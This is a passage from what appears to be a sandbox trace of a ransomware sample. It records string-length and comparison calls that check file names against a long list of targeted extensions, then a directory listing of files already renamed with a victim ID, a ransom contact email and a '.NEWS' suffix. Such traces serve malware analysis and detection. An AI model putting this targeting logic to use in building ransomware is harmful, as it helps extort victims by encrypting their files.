lstrlenW (lpString=".avs") returned 4 [0157.568] lstrcmpiW (lpString1=".avs", lpString2="NEWS") returned -1 [0157.569] lstrlenW (lpString=".backup") returned 7 [0157.569] lstrcmpiW (lpString1=".backup", lpString2="m].NEWS") returned -1 [0157.569] lstrlenW (lpString=".bak") returned 4 [0157.569] lstrcmpiW (lpString1=".bak", lpString2="NEWS") returned -1 [0157.569] lstrlenW (lpString=".bay") returned 4 [0157.569] lstrcmpiW (lpString1=".bay", lpString2="NEWS") returned -1 [0157.569] lstrlenW (lpString=".bd") returned 3 [0157.569] lstrcmpiW (lpString1=".bd", lpString2="EWS") returned -1 [0157.569] lstrlenW (lpString=".bin") returned 4 [0157.569] lstrcmpiW (lpString1=".bin", lpString2="NEWS") returned -1 [0157.569] lstrlenW (lpString=".bmp") returned 4 [0157.569] lstrcmpiW (lpString1=".bmp", lpString2="NEWS") returned -1 [0157.569] lstrlenW (lpString=".bz2") returned 4 [0157.569] lstrcmpiW (lpString1=".bz2", lpString2="NEWS") returned -1 [0157.569] lstrlenW (lpString=".c") returned 2 [0157.569] lstrcmpiW (lpString1=".c", lpString2="WS") returned -1 [0157.569] lstrlenW (lpString=".cdr") returned 4 [0157.569] lstrcmpiW (lpString1=".cdr", lpString2="NEWS") returned -1 [0157.569] lstrlenW (lpString=".cer") returned 4 [0157.569] lstrcmpiW (lpString1=".cer", lpString2="NEWS") returned -1 [0157.569] lstrlenW (lpString=".cf") returned 3 [0157.569] lstrcmpiW (lpString1=".cf", lpString2="EWS") returned -1 [0157.569] lstrlenW (lpString=".cfc") returned 4 [0157.569] lstrcmpiW (lpString1=".cfc", lpString2="NEWS") returned -1 [0157.569] lstrlenW (lpString=".cfm") returned 4 [0157.569] lstrcmpiW (lpString1=".cfm", lpString2="NEWS") returned -1 [0157.569] lstrlenW (lpString=".cfml") returned 5 [0157.569] lstrcmpiW (lpString1=".cfml", lpString2=".NEWS") returned -1 [0157.569] lstrlenW (lpString=".cfu") returned 4 [0157.570] lstrcmpiW (lpString1=".cfu", lpString2="NEWS") returned -1 [0157.570] lstrlenW (lpString=".chm") returned 4 [0157.570] lstrcmpiW (lpString1=".chm", lpString2="NEWS") returned -1 [0157.570] lstrlenW (lpString=".cin") returned 4 [0157.570] lstrcmpiW (lpString1=".cin", lpString2="NEWS") returned -1 [0157.570] lstrlenW (lpString=".class") returned 6 [0157.570] lstrcmpiW (lpString1=".class", lpString2="].NEWS") returned -1 [0157.570] lstrlenW (lpString=".clx") returned 4 [0157.570] lstrcmpiW (lpString1=".clx", lpString2="NEWS") returned -1 [0157.570] lstrlenW (lpString=".config") returned 7 [0157.570] lstrcmpiW (lpString1=".config", lpString2="m].NEWS") returned -1 [0157.570] lstrlenW (lpString=".cpp") returned 4 [0157.570] lstrcmpiW (lpString1=".cpp", lpString2="NEWS") returned -1 [0157.570] lstrlenW (lpString=".cr2") returned 4 [0157.570] lstrcmpiW (lpString1=".cr2", lpString2="NEWS") returned -1 [0157.570] lstrlenW (lpString=".crt") returned 4 [0157.570] lstrcmpiW (lpString1=".crt", lpString2="NEWS") returned -1 [0157.570] lstrlenW (lpString=".crw") returned 4 [0157.570] lstrcmpiW (lpString1=".crw", lpString2="NEWS") returned -1 [0157.570] lstrlenW (lpString=".cs") returned 3 [0157.570] lstrcmpiW (lpString1=".cs", lpString2="EWS") returned -1 [0157.570] lstrlenW (lpString=".css") returned 4 [0157.570] lstrcmpiW (lpString1=".css", lpString2="NEWS") returned -1 [0157.570] lstrlenW (lpString=".csv") returned 4 [0157.570] lstrcmpiW (lpString1=".csv", lpString2="NEWS") returned -1 [0157.570] lstrlenW (lpString=".cub") returned 4 [0157.570] lstrcmpiW (lpString1=".cub", lpString2="NEWS") returned -1 [0157.570] lstrlenW (lpString=".dae") returned 4 [0157.571] lstrcmpiW (lpString1=".dae", lpString2="NEWS") returned -1 [0157.571] lstrlenW (lpString=".dat") returned 4 [0157.571] lstrcmpiW (lpString1=".dat", lpString2="NEWS") returned -1 [0157.571] lstrlenW (lpString=".db") returned 3 [0157.571] lstrcmpiW (lpString1=".db", lpString2="EWS") returned -1 [0157.571] lstrlenW (lpString=".dbf") returned 4 [0157.571] lstrcmpiW (lpString1=".dbf", lpString2="NEWS") returned -1 [0157.571] lstrlenW (lpString=".dbx") returned 4 [0157.571] lstrcmpiW (lpString1=".dbx", lpString2="NEWS") returned -1 [0157.571] lstrlenW (lpString=".dc3") returned 4 [0157.571] lstrcmpiW (lpString1=".dc3", lpString2="NEWS") returned -1 [0157.571] lstrlenW (lpString=".dcm") returned 4 [0157.571] lstrcmpiW (lpString1=".dcm", lpString2="NEWS") returned -1 [0157.571] lstrlenW (lpString=".dcr") returned 4 [0157.571] lstrcmpiW (lpString1=".dcr", lpString2="NEWS") returned -1 [0157.571] lstrlenW (lpString=".der") returned 4 [0157.571] lstrcmpiW (lpString1=".der", lpString2="NEWS") returned -1 [0157.571] lstrlenW (lpString=".dib") returned 4 [0157.571] lstrcmpiW (lpString1=".dib", lpString2="NEWS") returned -1 [0157.571] lstrlenW (lpString=".dic") returned 4 [0157.571] lstrcmpiW (lpString1=".dic", lpString2="NEWS") returned -1 [0157.571] lstrlenW (lpString=".dif") returned 4 [0157.571] lstrcmpiW (lpString1=".dif", lpString2="NEWS") returned -1 [0157.571] lstrlenW (lpString=".divx") returned 5 [0157.571] lstrcmpiW (lpString1=".divx", lpString2=".NEWS") returned -1 [0157.571] lstrlenW (lpString=".djvu") returned 5 [0157.571] lstrcmpiW (lpString1=".djvu", lpString2=".NEWS") returned -1 [0157.571] lstrlenW (lpString=".dng") returned 4 [0157.571] lstrcmpiW (lpString1=".dng", lpString2="NEWS") returned -1 [0157.571] lstrlenW (lpString=".doc") returned 4 [0157.571] lstrcmpiW (lpString1=".doc", lpString2="NEWS") returned -1 [0157.571] lstrlenW (lpString=".docm") returned 5 [0157.572] lstrcmpiW (lpString1=".docm", lpString2=".NEWS") returned -1 [0157.572] lstrlenW (lpString=".docx") returned 5 [0157.572] lstrcmpiW (lpString1=".docx", lpString2=".NEWS") returned -1 [0157.572] lstrlenW (lpString=".dot") returned 4 [0157.572] lstrcmpiW (lpString1=".dot", lpString2="NEWS") returned -1 [0157.572] lstrlenW (lpString=".dotm") returned 5 [0157.572] lstrcmpiW (lpString1=".dotm", lpString2=".NEWS") returned -1 [0157.572] lstrlenW (lpString=".dotx") returned 5 [0157.572] lstrcmpiW (lpString1=".dotx", lpString2=".NEWS") returned -1 [0157.572] lstrlenW (lpString=".dpx") returned 4 [0157.572] lstrcmpiW (lpString1=".dpx", lpString2="NEWS") returned -1 [0157.572] lstrlenW (lpString=".dqy") returned 4 [0157.572] lstrcmpiW (lpString1=".dqy", lpString2="NEWS") returned -1 [0157.572] lstrlenW (lpString=".dsn") returned 4 [0157.572] lstrcmpiW (lpString1=".dsn", lpString2="NEWS") returned -1 [0157.572] lstrlenW (lpString=".dt") returned 3 [0157.572] lstrcmpiW (lpString1=".dt", lpString2="EWS") returned -1 [0157.572] lstrlenW (lpString=".dtd") returned 4 [0157.572] lstrcmpiW (lpString1=".dtd", lpString2="NEWS") returned -1 [0157.572] lstrlenW (lpString=".dwg") returned 4 [0157.572] lstrcmpiW (lpString1=".dwg", lpString2="NEWS") returned -1 [0157.572] lstrlenW (lpString=".dwt") returned 4 [0157.572] lstrcmpiW (lpString1=".dwt", lpString2="NEWS") returned -1 [0157.572] lstrlenW (lpString=".dx") returned 3 [0157.572] lstrcmpiW (lpString1=".dx", lpString2="EWS") returned -1 [0157.572] lstrlenW (lpString=".dxf") returned 4 [0157.572] lstrcmpiW (lpString1=".dxf", lpString2="NEWS") returned -1 [0157.573] lstrlenW (lpString=".edml") returned 5 [0157.573] lstrcmpiW (lpString1=".edml", lpString2=".NEWS") returned -1 [0157.573] lstrlenW (lpString=".efd") returned 4 [0157.573] lstrcmpiW (lpString1=".efd", lpString2="NEWS") returned -1 [0157.573] lstrlenW (lpString=".elf") returned 4 [0157.573] lstrcmpiW (lpString1=".elf", lpString2="NEWS") returned -1 [0157.573] lstrlenW (lpString=".emf") returned 4 [0157.573] lstrcmpiW (lpString1=".emf", lpString2="NEWS") returned -1 [0157.573] lstrlenW (lpString=".emz") returned 4 [0157.573] lstrcmpiW (lpString1=".emz", lpString2="NEWS") returned -1 [0157.573] lstrlenW (lpString=".epf") returned 4 [0157.573] lstrcmpiW (lpString1=".epf", lpString2="NEWS") returned -1 [0157.573] lstrlenW (lpString=".eps") returned 4 [0157.573] lstrcmpiW (lpString1=".eps", lpString2="NEWS") returned -1 [0157.573] lstrlenW (lpString=".epsf") returned 5 [0157.573] lstrcmpiW (lpString1=".epsf", lpString2=".NEWS") returned -1 [0157.573] lstrlenW (lpString=".epsp") returned 5 [0157.573] lstrcmpiW (lpString1=".epsp", lpString2=".NEWS") returned -1 [0157.573] lstrlenW (lpString=".erf") returned 4 [0157.573] lstrcmpiW (lpString1=".erf", lpString2="NEWS") returned -1 [0157.573] lstrlenW (lpString=".exr") returned 4 [0157.573] lstrcmpiW (lpString1=".exr", lpString2="NEWS") returned -1 [0157.573] lstrlenW (lpString=".f4v") returned 4 [0157.573] lstrcmpiW (lpString1=".f4v", lpString2="NEWS") returned -1 [0157.573] lstrlenW (lpString=".fido") returned 5 [0157.573] lstrcmpiW (lpString1=".fido", lpString2=".NEWS") returned -1 [0157.573] lstrlenW (lpString=".flm") returned 4 [0157.573] lstrcmpiW (lpString1=".flm", lpString2="NEWS") returned -1 [0157.573] lstrlenW (lpString=".flv") returned 4 [0157.573] lstrcmpiW (lpString1=".flv", lpString2="NEWS") returned -1 [0157.573] lstrlenW (lpString=".frm") returned 4 [0157.574] lstrcmpiW (lpString1=".frm", lpString2="NEWS") returned -1 [0157.574] lstrlenW (lpString=".fxg") returned 4 [0157.574] lstrcmpiW (lpString1=".fxg", lpString2="NEWS") returned -1 [0157.574] lstrlenW (lpString=".geo") returned 4 [0157.574] lstrcmpiW (lpString1=".geo", lpString2="NEWS") returned -1 [0157.574] lstrlenW (lpString=".gif") returned 4 [0157.574] lstrcmpiW (lpString1=".gif", lpString2="NEWS") returned -1 [0157.574] lstrlenW (lpString=".grs") returned 4 [0157.574] lstrcmpiW (lpString1=".grs", lpString2="NEWS") returned -1 [0157.574] lstrlenW (lpString=".gz") returned 3 [0157.574] lstrcmpiW (lpString1=".gz", lpString2="EWS") returned -1 [0157.574] lstrlenW (lpString=".h") returned 2 [0157.574] lstrcmpiW (lpString1=".h", lpString2="WS") returned -1 [0157.574] lstrlenW (lpString=".hdr") returned 4 [0157.574] lstrcmpiW (lpString1=".hdr", lpString2="NEWS") returned -1 [0157.574] lstrlenW (lpString=".hpp") returned 4 [0157.574] lstrcmpiW (lpString1=".hpp", lpString2="NEWS") returned -1 [0157.574] lstrlenW (lpString=".hta") returned 4 [0157.574] lstrcmpiW (lpString1=".hta", lpString2="NEWS") returned -1 [0157.574] lstrlenW (lpString=".htc") returned 4 [0157.574] lstrcmpiW (lpString1=".htc", lpString2="NEWS") returned -1 [0157.574] lstrlenW (lpString=".htm") returned 4 [0157.574] lstrcmpiW (lpString1=".htm", lpString2="NEWS") returned -1 [0157.574] lstrlenW (lpString=".html") returned 5 [0157.574] lstrcmpiW (lpString1=".html", lpString2=".NEWS") returned -1 [0157.574] lstrlenW (lpString=".icb") returned 4 [0157.574] lstrcmpiW (lpString1=".icb", lpString2="NEWS") returned -1 [0157.574] lstrlenW (lpString=".ics") returned 4 [0157.575] lstrcmpiW (lpString1=".ics", lpString2="NEWS") returned -1 [0157.575] lstrlenW (lpString=".iff") returned 4 [0157.575] lstrcmpiW (lpString1=".iff", lpString2="NEWS") returned -1 [0157.575] lstrlenW (lpString=".inc") returned 4 [0157.575] lstrcmpiW (lpString1=".inc", lpString2="NEWS") returned -1 [0157.575] lstrlenW (lpString=".indd") returned 5 [0157.575] lstrcmpiW (lpString1=".indd", lpString2=".NEWS") returned -1 [0157.575] lstrlenW (lpString=".ini") returned 4 [0157.575] lstrcmpiW (lpString1=".ini", lpString2="NEWS") returned -1 [0157.575] lstrlenW (lpString=".iqy") returned 4 [0157.575] lstrcmpiW (lpString1=".iqy", lpString2="NEWS") returned -1 [0157.575] lstrlenW (lpString=".j2c") returned 4 [0157.575] lstrcmpiW (lpString1=".j2c", lpString2="NEWS") returned -1 [0157.575] lstrlenW (lpString=".j2k") returned 4 [0157.575] lstrcmpiW (lpString1=".j2k", lpString2="NEWS") returned -1 [0157.575] lstrlenW (lpString=".java") returned 5 [0157.575] lstrcmpiW (lpString1=".java", lpString2=".NEWS") returned -1 [0157.575] lstrlenW (lpString=".jp2") returned 4 [0157.575] lstrcmpiW (lpString1=".jp2", lpString2="NEWS") returned -1 [0157.575] lstrlenW (lpString=".jpc") returned 4 [0157.575] lstrcmpiW (lpString1=".jpc", lpString2="NEWS") returned -1 [0157.575] lstrlenW (lpString=".jpe") returned 4 [0157.575] lstrcmpiW (lpString1=".jpe", lpString2="NEWS") returned -1 [0157.575] lstrlenW (lpString=".jpeg") returned 5 [0157.575] lstrcmpiW (lpString1=".jpeg", lpString2=".NEWS") returned -1 [0157.575] lstrlenW (lpString=".jpf") returned 4 [0157.575] lstrcmpiW (lpString1=".jpf", lpString2="NEWS") returned -1 [0157.575] lstrlenW (lpString=".jpg") returned 4 [0157.575] lstrcmpiW (lpString1=".jpg", lpString2="NEWS") returned -1 [0157.575] lstrlenW (lpString=".jpx") returned 4 [0157.575] lstrcmpiW (lpString1=".jpx", lpString2="NEWS") returned -1 [0157.576] lstrlenW (lpString=".js") returned 3 [0157.576] lstrcmpiW (lpString1=".js", lpString2="EWS") returned -1 [0157.576] lstrlenW (lpString=".jsf") returned 4 [0157.576] lstrcmpiW (lpString1=".jsf", lpString2="NEWS") returned -1 [0157.576] lstrlenW (lpString=".json") returned 5 [0157.576] lstrcmpiW (lpString1=".json", lpString2=".NEWS") returned -1 [0157.576] lstrlenW (lpString=".jsp") returned 4 [0157.576] lstrcmpiW (lpString1=".jsp", lpString2="NEWS") returned -1 [0157.576] lstrlenW (lpString=".kdc") returned 4 [0157.576] lstrcmpiW (lpString1=".kdc", lpString2="NEWS") returned -1 [0157.576] lstrlenW (lpString=".kmz") returned 4 [0157.576] lstrcmpiW (lpString1=".kmz", lpString2="NEWS") returned -1 [0157.576] lstrlenW (lpString=".kwm") returned 4 [0157.576] lstrcmpiW (lpString1=".kwm", lpString2="NEWS") returned -1 [0157.576] lstrlenW (lpString=".lasso") returned 6 [0157.576] lstrcmpiW (lpString1=".lasso", lpString2="].NEWS") returned -1 [0157.576] lstrlenW (lpString=".lbi") returned 4 [0157.576] lstrcmpiW (lpString1=".lbi", lpString2="NEWS") returned -1 [0157.576] lstrlenW (lpString=".lgf") returned 4 [0157.576] lstrcmpiW (lpString1=".lgf", lpString2="NEWS") returned -1 [0157.576] lstrlenW (lpString=".lgp") returned 4 [0157.576] lstrcmpiW (lpString1=".lgp", lpString2="NEWS") returned -1 [0157.576] lstrlenW (lpString=".log") returned 4 [0157.576] lstrcmpiW (lpString1=".log", lpString2="NEWS") returned -1 [0157.576] lstrlenW (lpString=".m1v") returned 4 [0157.576] lstrcmpiW (lpString1=".m1v", lpString2="NEWS") returned -1 [0157.576] lstrlenW (lpString=".m4a") returned 4 [0157.576] lstrcmpiW (lpString1=".m4a", lpString2="NEWS") returned -1 [0157.576] lstrlenW (lpString=".m4v") returned 4 [0157.577] lstrcmpiW (lpString1=".m4v", lpString2="NEWS") returned -1 [0157.577] lstrlenW (lpString=".max") returned 4 [0157.577] lstrcmpiW (lpString1=".max", lpString2="NEWS") returned -1 [0157.577] lstrlenW (lpString=".md") returned 3 [0157.577] lstrcmpiW (lpString1=".md", lpString2="EWS") returned -1 [0157.577] lstrlenW (lpString=".mda") returned 4 [0157.577] lstrcmpiW (lpString1=".mda", lpString2="NEWS") returned -1 [0157.577] lstrlenW (lpString=".mdb") returned 4 [0157.577] lstrcmpiW (lpString1=".mdb", lpString2="NEWS") returned -1 [0157.577] lstrlenW (lpString=".mde") returned 4 [0157.577] lstrcmpiW (lpString1=".mde", lpString2="NEWS") returned -1 [0157.577] lstrlenW (lpString=".mdf") returned 4 [0157.577] lstrcmpiW (lpString1=".mdf", lpString2="NEWS") returned -1 [0157.577] lstrlenW (lpString=".mdw") returned 4 [0157.577] lstrcmpiW (lpString1=".mdw", lpString2="NEWS") returned -1 [0157.577] lstrlenW (lpString=".mef") returned 4 [0157.577] lstrcmpiW (lpString1=".mef", lpString2="NEWS") returned -1 [0157.577] lstrlenW (lpString=".mft") returned 4 [0157.577] lstrcmpiW (lpString1=".mft", lpString2="NEWS") returned -1 [0157.577] lstrlenW (lpString=".mfw") returned 4 [0157.577] lstrcmpiW (lpString1=".mfw", lpString2="NEWS") returned -1 [0157.577] lstrlenW (lpString=".mht") returned 4 [0157.577] lstrcmpiW (lpString1=".mht", lpString2="NEWS") returned -1 [0157.577] lstrlenW (lpString=".mhtml") returned 6 [0157.577] lstrcmpiW (lpString1=".mhtml", lpString2="].NEWS") returned -1 [0157.577] lstrlenW (lpString=".mka") returned 4 [0157.577] lstrcmpiW (lpString1=".mka", lpString2="NEWS") returned -1 [0157.577] lstrlenW (lpString=".mkidx") returned 6 [0157.577] lstrcmpiW (lpString1=".mkidx", lpString2="].NEWS") returned -1 [0157.578] lstrlenW (lpString=".mkv") returned 4 [0157.578] lstrcmpiW (lpString1=".mkv", lpString2="NEWS") returned -1 [0157.578] lstrlenW (lpString=".mos") returned 4 [0157.578] lstrcmpiW (lpString1=".mos", lpString2="NEWS") returned -1 [0157.578] lstrlenW (lpString=".mov") returned 4 [0157.578] lstrcmpiW (lpString1=".mov", lpString2="NEWS") returned -1 [0157.578] lstrlenW (lpString=".mp3") returned 4 [0157.578] lstrcmpiW (lpString1=".mp3", lpString2="NEWS") returned -1 [0157.578] lstrlenW (lpString=".mp4") returned 4 [0157.578] lstrcmpiW (lpString1=".mp4", lpString2="NEWS") returned -1 [0157.578] lstrlenW (lpString=".mpeg") returned 5 [0157.578] lstrcmpiW (lpString1=".mpeg", lpString2=".NEWS") returned -1 [0157.578] lstrlenW (lpString=".mpg") returned 4 [0157.578] lstrcmpiW (lpString1=".mpg", lpString2="NEWS") returned -1 [0157.578] lstrlenW (lpString=".mpv") returned 4 [0157.578] lstrcmpiW (lpString1=".mpv", lpString2="NEWS") returned -1 [0157.578] lstrlenW (lpString=".mrw") returned 4 [0157.578] lstrcmpiW (lpString1=".mrw", lpString2="NEWS") returned -1 [0157.578] lstrlenW (lpString=".msg") returned 4 [0157.578] lstrcmpiW (lpString1=".msg", lpString2="NEWS") returned -1 [0157.578] lstrlenW (lpString=".mxl") returned 4 [0157.578] lstrcmpiW (lpString1=".mxl", lpString2="NEWS") returned -1 [0157.578] lstrlenW (lpString=".myd") returned 4 [0157.578] lstrcmpiW (lpString1=".myd", lpString2="NEWS") returned -1 [0157.578] lstrlenW (lpString=".myi") returned 4 [0157.578] lstrcmpiW (lpString1=".myi", lpString2="NEWS") returned -1 [0157.578] lstrlenW (lpString=".nef") returned 4 [0157.578] lstrcmpiW (lpString1=".nef", lpString2="NEWS") returned -1 [0157.578] lstrlenW (lpString=".nrw") returned 4 [0157.579] lstrcmpiW (lpString1=".nrw", lpString2="NEWS") returned -1 [0157.579] lstrlenW (lpString=".obj") returned 4 [0157.579] lstrcmpiW (lpString1=".obj", lpString2="NEWS") returned -1 [0157.579] lstrlenW (lpString=".odb") returned 4 [0157.579] lstrcmpiW (lpString1=".odb", lpString2="NEWS") returned -1 [0157.579] lstrlenW (lpString=".odc") returned 4 [0157.579] lstrcmpiW (lpString1=".odc", lpString2="NEWS") returned -1 [0157.579] lstrlenW (lpString=".odm") returned 4 [0157.579] lstrcmpiW (lpString1=".odm", lpString2="NEWS") returned -1 [0157.579] lstrlenW (lpString=".odp") returned 4 [0157.579] lstrcmpiW (lpString1=".odp", lpString2="NEWS") returned -1 [0157.579] lstrlenW (lpString=".ods") returned 4 [0157.579] lstrcmpiW (lpString1=".ods", lpString2="NEWS") returned -1 [0157.579] lstrlenW (lpString=".oft") returned 4 [0157.579] lstrcmpiW (lpString1=".oft", lpString2="NEWS") returned -1 [0157.579] lstrlenW (lpString=".one") returned 4 [0157.579] lstrcmpiW (lpString1=".one", lpString2="NEWS") returned -1 [0157.579] lstrlenW (lpString=".onepkg") returned 7 [0157.579] lstrcmpiW (lpString1=".onepkg", lpString2="m].NEWS") returned -1 [0157.579] lstrlenW (lpString=".onetoc2") returned 8 [0157.579] lstrcmpiW (lpString1=".onetoc2", lpString2="om].NEWS") returned -1 [0157.579] lstrlenW (lpString=".opt") returned 4 [0157.579] lstrcmpiW (lpString1=".opt", lpString2="NEWS") returned -1 [0157.579] lstrlenW (lpString=".oqy") returned 4 [0157.579] lstrcmpiW (lpString1=".oqy", lpString2="NEWS") returned -1 [0157.579] lstrlenW (lpString=".orf") returned 4 [0157.579] lstrcmpiW (lpString1=".orf", lpString2="NEWS") returned -1 [0157.579] lstrlenW (lpString=".p12") returned 4 [0157.579] lstrcmpiW (lpString1=".p12", lpString2="NEWS") returned -1 [0157.579] lstrlenW (lpString=".p7b") returned 4 [0157.579] lstrcmpiW (lpString1=".p7b", lpString2="NEWS") returned -1 [0157.580] lstrlenW (lpString=".p7c") returned 4 [0157.580] lstrcmpiW (lpString1=".p7c", lpString2="NEWS") returned -1 [0157.580] lstrlenW (lpString=".pam") returned 4 [0157.580] lstrcmpiW (lpString1=".pam", lpString2="NEWS") returned -1 [0157.580] lstrlenW (lpString=".pbm") returned 4 [0157.580] lstrcmpiW (lpString1=".pbm", lpString2="NEWS") returned -1 [0157.580] lstrlenW (lpString=".pct") returned 4 [0157.580] lstrcmpiW (lpString1=".pct", lpString2="NEWS") returned -1 [0157.580] lstrlenW (lpString=".pcx") returned 4 [0157.580] lstrcmpiW (lpString1=".pcx", lpString2="NEWS") returned -1 [0157.580] lstrlenW (lpString=".pdd") returned 4 [0157.580] lstrcmpiW (lpString1=".pdd", lpString2="NEWS") returned -1 [0157.580] lstrlenW (lpString=".pdf") returned 4 [0157.580] lstrcmpiW (lpString1=".pdf", lpString2="NEWS") returned -1 [0157.580] lstrlenW (lpString=".pdp") returned 4 [0157.580] lstrcmpiW (lpString1=".pdp", lpString2="NEWS") returned -1 [0157.580] lstrlenW (lpString=".pef") returned 4 [0157.580] lstrcmpiW (lpString1=".pef", lpString2="NEWS") returned -1 [0157.580] lstrlenW (lpString=".pem") returned 4 [0157.580] lstrcmpiW (lpString1=".pem", lpString2="NEWS") returned -1 [0157.580] lstrlenW (lpString=".pff") returned 4 [0157.580] lstrcmpiW (lpString1=".pff", lpString2="NEWS") returned -1 [0157.580] lstrlenW (lpString=".pfm") returned 4 [0157.580] lstrcmpiW (lpString1=".pfm", lpString2="NEWS") returned -1 [0157.580] lstrlenW (lpString=".pfx") returned 4 [0157.580] lstrcmpiW (lpString1=".pfx", lpString2="NEWS") returned -1 [0157.580] lstrlenW (lpString=".pgm") returned 4 [0157.580] lstrcmpiW (lpString1=".pgm", lpString2="NEWS") returned -1 [0157.581] lstrlenW (lpString=".php") returned 4 [0157.581] lstrcmpiW (lpString1=".php", lpString2="NEWS") returned -1 [0157.581] lstrlenW (lpString=".php3") returned 5 [0157.581] lstrcmpiW (lpString1=".php3", lpString2=".NEWS") returned 1 [0157.581] lstrlenW (lpString=".php4") returned 5 [0157.581] lstrcmpiW (lpString1=".php4", lpString2=".NEWS") returned 1 [0157.581] lstrlenW (lpString=".php5") returned 5 [0157.581] lstrcmpiW (lpString1=".php5", lpString2=".NEWS") returned 1 [0157.581] lstrlenW (lpString=".phtml") returned 6 [0157.581] lstrcmpiW (lpString1=".phtml", lpString2="].NEWS") returned -1 [0157.581] lstrlenW (lpString=".pict") returned 5 [0157.581] lstrcmpiW (lpString1=".pict", lpString2=".NEWS") returned 1 [0157.581] lstrlenW (lpString=".pl") returned 3 [0157.581] lstrcmpiW (lpString1=".pl", lpString2="EWS") returned -1 [0157.581] lstrlenW (lpString=".pls") returned 4 [0157.581] lstrcmpiW (lpString1=".pls", lpString2="NEWS") returned -1 [0157.581] lstrlenW (lpString=".pm") returned 3 [0157.581] lstrcmpiW (lpString1=".pm", lpString2="EWS") returned -1 [0157.581] lstrlenW (lpString=".png") returned 4 [0157.581] lstrcmpiW (lpString1=".png", lpString2="NEWS") returned -1 [0157.581] lstrlenW (lpString=".pnm") returned 4 [0157.581] lstrcmpiW (lpString1=".pnm", lpString2="NEWS") returned -1 [0157.581] lstrlenW (lpString=".pot") returned 4 [0157.581] lstrcmpiW (lpString1=".pot", lpString2="NEWS") returned -1 [0157.581] lstrlenW (lpString=".potm") returned 5 [0157.581] lstrcmpiW (lpString1=".potm", lpString2=".NEWS") returned 1 [0157.581] lstrlenW (lpString=".potx") returned 5 [0157.582] lstrcmpiW (lpString1=".potx", lpString2=".NEWS") returned 1 [0157.582] lstrlenW (lpString=".ppa") returned 4 [0157.582] lstrcmpiW (lpString1=".ppa", lpString2="NEWS") returned -1 [0157.582] lstrlenW (lpString=".ppam") returned 5 [0157.582] lstrcmpiW (lpString1=".ppam", lpString2=".NEWS") returned 1 [0157.582] lstrlenW (lpString=".ppm") returned 4 [0157.582] lstrcmpiW (lpString1=".ppm", lpString2="NEWS") returned -1 [0157.582] lstrlenW (lpString=".pps") returned 4 [0157.582] lstrcmpiW (lpString1=".pps", lpString2="NEWS") returned -1 [0157.582] lstrlenW (lpString=".ppsm") returned 5 [0157.582] lstrcmpiW (lpString1=".ppsm", lpString2=".NEWS") returned 1 [0157.582] lstrlenW (lpString=".ppt") returned 4 [0157.582] lstrcmpiW (lpString1=".ppt", lpString2="NEWS") returned -1 [0157.582] lstrlenW (lpString=".pptm") returned 5 [0157.582] lstrcmpiW (lpString1=".pptm", lpString2=".NEWS") returned 1 [0157.582] lstrlenW (lpString=".pptx") returned 5 [0157.582] lstrcmpiW (lpString1=".pptx", lpString2=".NEWS") returned 1 [0157.582] lstrlenW (lpString=".prn") returned 4 [0157.582] lstrcmpiW (lpString1=".prn", lpString2="NEWS") returned -1 [0157.582] lstrlenW (lpString=".ps") returned 3 [0157.582] lstrcmpiW (lpString1=".ps", lpString2="EWS") returned -1 [0157.582] lstrlenW (lpString=".psb") returned 4 [0157.582] lstrcmpiW (lpString1=".psb", lpString2="NEWS") returned -1 [0157.582] lstrlenW (lpString=".psd") returned 4 [0157.582] lstrcmpiW (lpString1=".psd", lpString2="NEWS") returned -1 [0157.582] lstrlenW (lpString=".pst") returned 4 [0157.582] lstrcmpiW (lpString1=".pst", lpString2="NEWS") returned -1 [0157.582] lstrlenW (lpString=".ptx") returned 4 [0157.582] lstrcmpiW (lpString1=".ptx", lpString2="NEWS") returned -1 [0157.583] lstrlenW (lpString=".pub") returned 4 [0157.583] lstrcmpiW (lpString1=".pub", lpString2="NEWS") returned -1 [0157.583] lstrlenW (lpString=".pwm") returned 4 [0157.583] lstrcmpiW (lpString1=".pwm", lpString2="NEWS") returned -1 [0157.583] lstrlenW (lpString=".pxr") returned 4 [0157.583] lstrcmpiW (lpString1=".pxr", lpString2="NEWS") returned -1 [0157.583] lstrlenW (lpString=".py") returned 3 [0157.583] lstrcmpiW (lpString1=".py", lpString2="EWS") returned -1 [0157.583] lstrlenW (lpString=".qt") returned 3 [0157.583] lstrcmpiW (lpString1=".qt", lpString2="EWS") returned -1 [0157.583] lstrlenW (lpString=".r3d") returned 4 [0157.583] lstrcmpiW (lpString1=".r3d", lpString2="NEWS") returned -1 [0157.583] lstrlenW (lpString=".raf") returned 4 [0157.583] lstrcmpiW (lpString1=".raf", lpString2="NEWS") returned -1 [0157.583] lstrlenW (lpString=".rar") returned 4 [0157.583] lstrcmpiW (lpString1=".rar", lpString2="NEWS") returned -1 [0157.583] lstrlenW (lpString=".raw") returned 4 [0157.583] lstrcmpiW (lpString1=".raw", lpString2="NEWS") returned -1 [0157.583] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39747561, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39747561, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39747561, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xee06, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="LOCALI~1.NEW")) returned 1 [0157.583] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x398eae39, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x398eae39, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39910f4c, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 1 [0157.583] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x398eae39, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x398eae39, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39910f4c, 